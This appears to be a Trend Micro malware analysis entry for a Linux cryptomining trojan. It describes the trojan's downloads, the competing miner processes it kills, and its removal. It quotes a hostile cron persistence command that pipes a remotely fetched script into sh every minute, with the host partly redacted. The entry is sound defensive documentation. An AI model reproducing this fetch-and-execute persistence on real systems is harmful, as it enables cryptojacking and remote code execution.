Analysis by: Joshua Paul Ignacio
ALIASES:

BV:Downloader-ABK [Drp] (AVAST)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 1,665 bytes
File Type: , Other
Memory Resident: Yes
Initial Samples Received Date: 02 Jan 2019
Payload: Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other System Modifications

This Trojan deletes the following files:

  • /tmp/php
  • /tmp/p.conf

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • cryptonight
  • sustes
  • xmrig
  • xmr-stak
  • suppoie
  • zer0day.ru
  • logo9.jpg
  • p.conf

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • http://{BLOCKED}.{BLOCKED}.169.247/g.php
  • http://{BLOCKED}.{BLOCKED}.169.247/xmrig_64?{Random Numbers} - for 64-bit
  • http://{BLOCKED}.{BLOCKED}.169.247/xmrig_32?{Random Numbers} - for 32 Bit
  • http://{BLOCKED}.{BLOCKED}.169.247/p.conf
  • http://{BLOCKED}.{BLOCKED}.169.247/cr2.sh

Other Details

This Trojan does the following:

  • It creates the following cron jobs for persistence:
    • Path: /var/spool/con/crontabs/root
      Schedule: Every minute
      Command: wget -q -O - http://{BLOCKED}.{BLOCKED}.169.247/cr2.sh | sh > /dev/null 2>&1

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.598.03
FIRST VSAPI PATTERN DATE: 02 Jan 2019
VSAPI OPR PATTERN File: 15.599.00
VSAPI OPR PATTERN Date: 03 Jan 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.MALXMR.UWEJQ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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